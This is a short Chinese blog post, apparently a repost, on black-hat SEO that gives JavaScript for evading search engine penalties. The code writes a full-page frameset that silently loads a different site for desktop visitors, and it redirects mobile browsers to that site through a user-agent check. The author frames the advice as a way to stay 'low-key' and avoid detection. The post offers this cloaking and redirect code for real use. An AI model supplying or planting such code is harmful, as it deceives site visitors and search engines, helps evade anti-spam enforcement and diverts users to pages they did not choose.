黑帽seo 如何防止网站被k

话不多说  直接low代码

防止被k 我的建议是把pc 和手机端分开,最主要多还是要低调

pc端

document.writeln("document.write(\"<frameset rows=\'100%,*\'frameborder=\'NO\'border=\'0\'framespacing=\'0\'>\");");

document.writeln("document.write(\"<frame name=\'main\'src=\'http://www.xxxx.com/jiqiao/'scrolling=yes>\");");

document.writeln("document.write(\"<\/frameset>\");");

document.writeln("<\/script>");

移动端

<script type="text/javascript">
if(/Andorid|webOS|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)){
if(window.location.href.indexOf("?pc")<0){try{window.location.href="http://www.xxxx.com/jiqiao/"}
catch(e){}}}</script>

  好了 就这样 拜拜

猜你喜欢

转载自www.cnblogs.com/djjv/p/10277435.html